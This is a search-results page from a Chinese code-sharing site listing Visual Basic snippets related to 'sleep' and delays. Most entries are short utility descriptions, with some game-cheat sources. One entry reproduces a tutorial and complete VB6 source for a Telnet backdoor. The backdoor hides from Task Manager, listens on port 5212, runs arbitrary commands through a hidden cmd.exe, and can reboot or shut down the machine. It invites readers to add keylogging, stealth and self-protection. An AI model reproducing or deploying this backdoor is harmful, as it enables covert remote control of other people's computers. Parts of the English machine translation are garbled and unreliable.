Welcome![Sign In][Sign Up]
Location:
Search - vb sleep

Search list

[OS programsleep

Description: vb中的 定(延)时函数大比拼,让你对vb的各个定时函数有个深刻的了解
Platform: | Size: 4548 | Author: 于广年 | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[Other各种典型vb示例

Description: Add_Control_RunTime.zip 实时增加控件的例子。 alarm.zip 一个日期报警程序,当某个指定日期到达时间会提醒你。 Bounce.zip 在桌面上打篮球的游戏程序。 FileCopier.zip 这个程序可以将任意的文件拷贝到同一网络上的任何地方。 FoxTOExce.zip 可以将FoxPro中的表格数据传输到excel中。 lock.zip 这是一个锁定计算机的程序。 MoviePlayer.zip 用户化的视频播放程序。 MultiBrowser.zip 可以同时打开四个浏览器,并且不显示在任务栏上。 PictureViewer.zip 一个简单图片浏览器程序。 sleep.zip 定时关机的程序。 SlyData.zip 访问mdb数据库,并且可以读、写、更新和删除数据库中的数据。 TurnOut.zip 一个简单的类似关灯的游戏-Add_Control_RunTime.zip to increase controls example. Alarm.zip a date alarm procedure, when a specified date arrival time will remind you. Bounce.zip on the table to play basketball games. FileCopier.zip this process can be arbitrary copy of the document on the same network anywhere. FoxTOExce.zip can FoxPro data transfer forms were to excel. Lock.zip This is a locked computer procedures. MoviePlayer.zip customized video player. MultiBrowser.zip be opened at the same time four browser, and do not show on the task bar. Photo PictureViewer.zip a simple browser procedures. Sleep.zip Mytob.BSNotes procedures. SlyData.zip visit mdb database, and can read, write, update and delete data in the database. TurnOut.zip similar to a simple game of the light
Platform: | Size: 336896 | Author: | Hits:

[OS programsleep

Description: vb中的 定(延)时函数大比拼,让你对vb的各个定时函数有个深刻的了解-vb in the set (the extension) when the function Competition, so all you vb function from time to time have a profound understanding of
Platform: | Size: 4096 | Author: 于广年 | Hits:

[Othersetwaitabletimer

Description: vb写的时间延迟模块,比sleep好用,是setwaitabletimer-vb write time delay module, easy to use than sleep, is setwaitabletimer
Platform: | Size: 2048 | Author: 徐世龙 | Hits:

[OS programDelay(vb)

Description: 在程序流程中经常要延时一段时间后再继续往下执行,在VB中常用的有以下几种方法 1、SLEEP 2、timer() 3、Windows API函数timeGetTime() -Process in the program often have to delay the implementation period of time then continue down, in VB there are several commonly used method 1, SLEEP 2, timer () 3, Windows API function timeGetTime ()
Platform: | Size: 1024 | Author: 曲云腾 | Hits:

[Windows Developjingueyanshisuanfa

Description: vb 精确延时算法,比sleep函数更加精确,使用方便-vb accurate delay algorithm is more accurate than the sleep function, easy to use
Platform: | Size: 2048 | Author: 11 | Hits:

[Game Hook CrackVBsourcecode

Description: 这里面有些东西是论坛那个VB一天一天写外挂教程里没有的东西,虽然不是必须的 不过还是有些实际意义 1、VB的小图标处理 2、后台鼠标的模拟移动和点击 3、从进程获得文件执行路径 4、打开文件夹的操作 5、比sleep好用的延时函数 所有代码都是参考人家的做的,我理解新人没有实例的痛苦,我也是参考一天一天的教程写出来的 在此再次感谢-This is something which is day by day forum that VB does not have to write plug-in tutorial, and though not required, but there is some meaningful 1, VB 2, the small icons handle, simulated moving the mouse back and click on 3, obtained documents from the implementation process path 4, open the folder operation 5, the delay than the useful function of sleep all of the code refer to the people to do, I do not understand the new instance of the pain day by day I also refer to the tutorial written out once again thanks
Platform: | Size: 3072 | Author: 王开华 | Hits:

[Game Hook CrackVdB215411

Description: 完美挂机挂源码VB Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function SelectFunc Lib "call.dll" (ByVal hwnd As Long, ByVal id As Long) As Long Private Declare Function PickFunc Lib "call.dll" (ByVal hwnd As Long, ByVal ID1 As Long, ByVal ID2 As Long) As Long Private Declare Function NormalAttackFunc Lib "call.dll" (ByVal hwnd As Long) As Long Private Declare Function GetTickCount Lib "kernel32" () As Long -Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function SelectFunc Lib "call.dll" (ByVal hwnd As Long, ByVal id As Long) As Long Private Declare Function PickFunc Lib "call.dll" (ByVal hwnd As Long, ByVal ID1 As Long, ByVal ID2 As Long) As Long Private Declare Function NormalAttackFunc Lib "call.dll" (ByVal hwnd As Long) As Long Private Declare Function GetTickCount Lib "kernel32" () As Long
Platform: | Size: 21504 | Author: wwd2001@163.com | Hits:

[Windows DevelopAdvanced_VisualBasic

Description: 非常好的VB提高的教材,Matthew Curland的大作非常经典,晚上千万不要看此书,否则睡不着觉.-VB to improve the teaching very good, Matthew Curland' s masterpiece is classic, do not read the book at night, or sleep.
Platform: | Size: 9958400 | Author: hlh | Hits:

[Windows DevelopWaitableTimerAPI

Description: VB中SetWaitableTimer函数与Sleep函数延时效果测试-VB SetWaitableTimer function and Sleep function test delay effect
Platform: | Size: 5120 | Author: 糟熘鱼片 | Hits:

[Windows Developvbfoucsout

Description: VB实现图片的淡入淡出效果,Sleep为延时函数以毫秒为单位指定等待的时间,设置Form、Picture1和Picture2的标志单位为像素,淡入效果和淡出效果分开来实现,有各自的代码,淡入淡出在一些图片处理中应用广泛,在WEB前端设计中也有相当普遍的用途-VB realize the picture fade effect, Sleep function for the delay in milliseconds to wait for a specified time, set Form, Picture1 and Picture2 sign in pixels, fade-in and fade-out effects of separate effects to achieve, have their own code, Fade In some image processing in a wide range of applications, WEB front-end design is also quite common purpose
Platform: | Size: 10240 | Author: epudn17 | Hits:

[OtherYS

Description: VB写的延时模块防止 SLEEP假死 非精确计时 VB写的延时模块防止 SLEEP假死 非精确计时-The delay module written in VB to prevent the SLEEP suspended animation non accurate timing The delay module written in VB to prevent the SLEEP suspended animation non accurate timing
Platform: | Size: 2048 | Author: hellfire | Hits:

[OtherVB6.0_API_function_screen

Description: 利用VB调用API来调控屏幕的休眠和亮度等功能-VB calls API function to regulate the sleep time and brightness of screen.
Platform: | Size: 6144 | Author: 田振男 | Hits:

[OS programvb_sleep

Description: api 演示等待功能,调用sleep函数-call api function sleep,VB
Platform: | Size: 1024 | Author: 庄生 | Hits:

[OtherVB鼠标按键精灵

Description: VB鼠标按键精灵(VB模拟出的按键精灵大部分功能)(Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long Private Declare Function GetDC Lib "user32" (ByVal Hwnd As Long) As Long Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long)
Platform: | Size: 93184 | Author: 大牛12345 | Hits:

CodeBus www.codebus.net